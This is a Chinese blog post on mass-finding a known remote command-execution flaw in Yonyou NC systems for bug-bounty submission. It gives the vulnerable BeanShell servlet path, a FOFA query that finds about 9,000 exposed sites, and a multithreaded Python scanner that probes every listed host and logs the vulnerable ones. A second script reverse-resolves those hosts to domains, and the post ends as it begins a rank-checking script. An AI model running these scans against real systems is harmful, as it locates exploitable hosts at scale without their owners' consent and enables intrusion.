¶前言

本篇博文只谈漏洞的利用和批量挖掘。在接触src之前，我和很多师傅都有同一个疑问，就是那些大师傅是怎么批量挖洞的？摸滚打爬了两个月之后，我渐渐有了点自己的理解和经验，所以打算分享出来和各位师傅交流，不足之处还望指正。

¶漏洞举例

这里以前几天爆出来的用友nc的命令执行漏洞为例

http://x.x.x.x/servlet//~ic/bsh.servlet.BshServlet

文本框里可以命令执行

‍

¶漏洞的批量检测

在知道这个漏洞详情之后，我们需要根据漏洞的特征去fofa里寻找全国范围里使用这个系统的网站，比如用友nc在fofa的搜索特征就是

app="用友-UFIDA-NC"

可以看到一共有9119条结果，接下来我们需要采集所有站点的地址下来，这里推荐狼组安全团队开发的fofa采集工具fofa-viewer

github地址:https://github.com/wgpsec/fofa_viewer

然后导出所有站点到一个txt文件中根据用友nc漏洞命令执行的特征，我们简单写一个多线程检测脚本

import requests
import threadpool
import os

def exp(url):
    poc = r"""/servlet//~ic/bsh.servlet.BshServlet"""
    url = url + poc
    try:
        res = requests.get(url, timeout=3)
        if "BeanShell" in res.text:
            print("[*]存在漏洞的url：" + url)
            with open ("用友命令执行列表.txt", 'a') as f:
                f.write(url + "\n")
    except:
        pass

def multithreading(funcname, params=[], filename="yongyou.txt", pools=10):
    works = []
    with open(filename, "r") as f:
        for i in f:
            func_params = [i.rstrip("\n")] + params
            works.append((func_params, None))
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(funcname, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()

def main():
    if os.path.exists("用友命令执行列表.txt"):
        f = open("用友命令执行列表.txt", 'w')
        f.truncate()
    multithreading(exp, [], "yongyou.txt", 10)

if __name__ == '__main__':
    main()

运行完后得到所有漏洞站点的txt文件

¶域名和权重的批量检测

在我们提交补天等漏洞平台时，不免注意到有这么一个规则，公益漏洞的提交需要满足站点的百度权重或者移动权重大于等于1，亦或者谷歌权重大于等于3的条件，补天漏洞平台以爱站的检测权重为准

https://rank.aizhan.com/

首先我们需要对收集过来的漏洞列表做一个ip反查域名，来证明归属，我们用爬虫写一个批量ip反查域名脚本这里用了ip138和爱站两个站点来进行ip反查域名因为多线程会被ban，目前只采用了单线程

import os
# ip138
def ip138_chaxun(ip, ua):
    ip138_headers = {
        'Host': 'site.ip138.com',
        'User-Agent': ua.random,
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',

        'Accept-Encoding': 'gzip, deflate, br',
        'Referer': 'https://site.ip138.com/'}
    ip138_url = 'https://site.ip138.com/' + str(ip) + '/'
    try:
        ip138_res = requests.get(url=ip138_url, headers=ip138_headers, timeout=2).text
        if '<li>暂无结果</li>' not in ip138_res:
            result_site = re.findall(r"""</span><a href="/(.*?)/" target="_blank">""", ip138_res)
            return result_site
    except:
        pass

# 爱站
def aizhan_chaxun(ip, ua):
    aizhan_headers = {
        'Host': 'dns.aizhan.com',
        'User-Agent': ua.random,
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',

        'Referer': 'https://dns.aizhan.com/'}
    aizhan_url = 'https://dns.aizhan.com/' + str(ip) + '/'
    try:
        aizhan_r = requests.get(url=aizhan_url, headers=aizhan_headers, timeout=2).text
        aizhan_nums = re.findall(r'''<span class="red">(.*?)</span>''', aizhan_r)
        if int(aizhan_nums[0]) > 0:
            aizhan_domains = re.findall(r'''rel="nofollow" target="_blank">(.*?)</a>''', aizhan_r)
            return aizhan_domains
    except:
        pass


def catch_result(i):
    ua_header = UserAgent()
    i = i.strip()
    try:
        ip = i.split(':')[1].split('//')[1]
        ip138_result = ip138_chaxun(ip, ua_header)
        aizhan_result = aizhan_chaxun(ip, ua_header)
        time.sleep(1)
        if ((ip138_result != None and ip138_result!=[]) or aizhan_result != None ):
            with open("ip反查结果.txt", 'a') as f:
                result = "[url]:" + i + "   " + "[ip138]:" + str(ip138_result) + "  [aizhan]:" + str(aizhan_result)
                print(result)
                f.write(result + "\n")
        else:
            with open("反查失败列表.txt", 'a') as f:
                f.write(i + "\n")
    except:
        pass

if __name__ == '__main__':
    url_list = open("用友命令执行列表.txt", 'r').readlines()
    url_len = len(open("用友命令执行列表.txt", 'r').readlines())
    #每次启动时清空两个txt文件
    if os.path.exists("反查失败列表.txt"):
        f = open("反查失败列表.txt", 'w')
        f.truncate()
    if os.path.exists("ip反查结果.txt"):
        f = open("ip反查结果.txt", 'w')
        f.truncate()
    for i in tqdm(url_list):
        catch_result(i)

运行结果：

然后拿到解析的域名后，就是对域名权重进行检测，这里采用爱站来进行权重检测，继续写一个批量检测脚本
